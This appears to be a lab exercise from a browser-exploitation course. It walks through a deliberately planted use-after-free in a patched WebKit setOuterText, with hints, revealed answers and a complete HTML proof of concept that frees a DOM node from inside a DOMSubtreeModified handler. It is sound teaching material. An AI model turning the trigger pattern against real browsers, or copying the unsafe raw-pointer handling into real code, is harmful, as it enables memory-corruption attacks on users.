DOM Event Callback Vulnerability
Exercise
Now that we have learned about some historical patterns of incorrect reference handling in WebCore, let's try to trigger a UAF.
Managing DOM References From JavaScript
This exercise will involve getting a RefPtr to have 0 refs (which causes it to instantly free). However, triggering these kinds of bugs can be tricky due to JavaScript also taking refs to these objects.
For example look at the following JavaScript code that interacts with DOM objects.
JavaScriptlet t = document.getElementById('foo');
let p = target.firstChild; // c++ reference taken to the child
When we call getElementById
on the IDL-wrapped document object, it will trigger the associated c++ function. This function will search the document tree for an element with the id
attribute set to "foo"
. Once it finds it, it will take a reference and pass it back to JavaScript. To send it back to JavaScript land, the engine will create an IDL-wrapper object (i.e. JSHtmlElement
). The wrapper object's lifetime is handled by the JavaScript garbage collector (more on GCs later).
This wrapper object still holds a reference to the original DOM object, preventing its ref count from reaching 0. Additionally the wrapper object will stick around for some time (at least until a GC).
If we want to trigger a bug that causes the refcount to hit 0, we need to avoid any functions which would return our target object to JavaScript land. Do not use getElementById
, parentElement
, firstChild
, etc to fetch the object you want to free.
One particularly useful method for this is setting innerHTML
or innerText
, which both replace the entirety of an element's contents, e.g. <div>[innerHTMLhere]</div>
. Setting either of these properties triggers c++ functions that remove the replaced elements from the DOM tree, but do so without returning any references back to JavaScript land.
JavaScriptlet t = document.getElementById('target');
t.innerHTML = ''; // Remove all children from the DOM tree, but take 0 references
You will likely want to use this in your POC for this exercise.
Vulnerable Function
For this exercise you will be using a version of WebKit which has a patch applied to it. The patch introduces a vulnerability in the following function:
C++ExceptionOr<void> HTMLElement::setOuterText(const String& text)
{
...
Node * prev = previousSibling();
Node * next = nextSibling();
RefPtr<Node> newChild;
// Convert text to fragment with <br> tags instead of
// linebreaks if needed
if (text.contains('\r') || text.contains('\n'))
newChild = textToFragment(document(), text);
else
newChild = Text::create(document(), text);
if (!parentNode())
return Exception { HierarchyRequestError };
auto replaceResult = parent->replaceChild(*newChild, *this);
...
RefPtr<Node> node = next ? next->previousSibling() : nullptr;
...
return { };
}
Some irrelevant parts have been omitted, but feel free to look at the full function (without the exercise patch applied) here.
The c++ setOuterText
function shown above will be called when we set the outerText
property of any element. For example:
HTML<html><body>
<div id="parent">
<div id="sibling">Hello</div>
<div id="target"> world</div>
</div>
<button onclick="go()">go</button>
<script>
function go() {
let s = document.getElementById('sibling');
s.outerText = 'Goodbye';
// the entire "hello" div will be removed and replaced with a single text node "Goodbye"
}
</script>
</body></html>
The first thing we must do here is identify the vulnerability in the function:
Reveal Answer
The bug is that there is no RefPtr
on the prev
and next
variables.
We will want to make use of event handlers in this POC.
- Determine an event that will trigger in between the targets being stored and used. (hint: skim over replaceChild)
- How would you get JavaScript to run when this event is triggered?
Reveal Answer
The call to replaceChild
will trigger a DOMSubtreeModified
event. We can trigger a JavaScript callback if we use an event handler on the parent of the element we are calling setOuterText
on:
HTML<html><body>
<div id="parent">
<div id="sibling">Hello</div>
<div id="target"> world</div>
</div>
<button onclick="go()">go</button>
<script>
function go() {
let p = document.getElementById("parent");
let s = document.getElementById("sibling");
// Add event listener to the parent
p.addEventListener("DOMSubtreeModified", e=>{
alert("In event handler!");
});
s.outerText = "Goodbye";
}
</script>
</body></html>
Next determine how you would trigger the bug in the event handler, causing a UAF. To do this, you need to cause the targets to be freed (drop their refs to 0) before they are used later in the function.
Reveal Answer
We will try to get the target
div to be freed. Inside the function, it will be the next
variable. Inside our event handler we will set innerText
(or innerHTML
) on the parent to remove both sibling
and target
from the DOM tree. This will decrement their reference counts.
Since we never take a reference to target
in JavaScript, it will hit 0 refs and be freed. Once the c++ function resumes, it will use the now dangling pointer on the next line.
Writing a POC
WarningIf you haven't already, read through the VM overview to understand the VM / exercise setup.
Now, put the pieces together and develop a basic proof-of-concept to trigger the UAF and crash WebKit.
To interact with WebKit's DOM engine, we will be using a minimal graphical wrapper called MiniBrowser. Specifically, to run MiniBrowser on Linux, we will be using the GTK MiniBrowser wrapper.
In this exercise we will be using an ASAN (Address Sanitizer) build of MiniBrowser to detect the Use After Free (UAF) vulnerability.
Once the UAF is triggered, the browser will crash and print a report describing the issue. You should see the ASAN output in the terminal that launched MiniBrowser.
You will want to create an HTML file somewhere in your home directory, so you can directly open the page in MiniBrowser.
Since MiniBrowser is a visual browser, you will probably want to connect over VNC, so you can interact with the rendered page.
Once connected you can open a terminal (over VNC or SSH) and launch ASAN MiniBrowser with the following:
bashexercise run minibrowser --asan ~/path/to/file.html
You can use the HTML from earlier as a template (you can utilize the button to attach a debugger before launching the exploit).
HTML<html><body>
<div id="parent">
<div id="sibling">Hello</div>
<div id="target"> world</div>
</div>
<button onclick="go()">go</button>
<script>
function go() {
let s = document.getElementById('sibling');
s.outerText = 'Goodbye';
}
</script>
</body></html>
NoteUsing a debugger isn't necessarily required for this exercise, but if you decide to do so, keep in mind MiniBrowser is running inside a container, so you should launch gdb within the container as well. Once MiniBrowser is launched, in a separate terminal, run
exercise run minibrowser --asan --shell
to get a shell in the container, and run gdb from there. The process to attach to isWebKitWebProcess
.
Example Solution
HTML<html><body>
<div id="parent">
<div id="sibling">Hello</div>
<div id="target"> world</div>
</div>
<button onclick="go()">go</button>
<script>
function go() {
let p = document.getElementById("parent");
let s = document.getElementById("sibling");
// Add event listener to the parent
p.addEventListener("DOMSubtreeModified", e=>{
alert("In event handler!");
// Remove sibling and target from DOM tree
p.innerText = "";
// target drops to 0 refs and is freed
// Return back to c++ function, trigger UAF
return;
});
s.outerText = "Goodbye";
}
</script>
</body></html>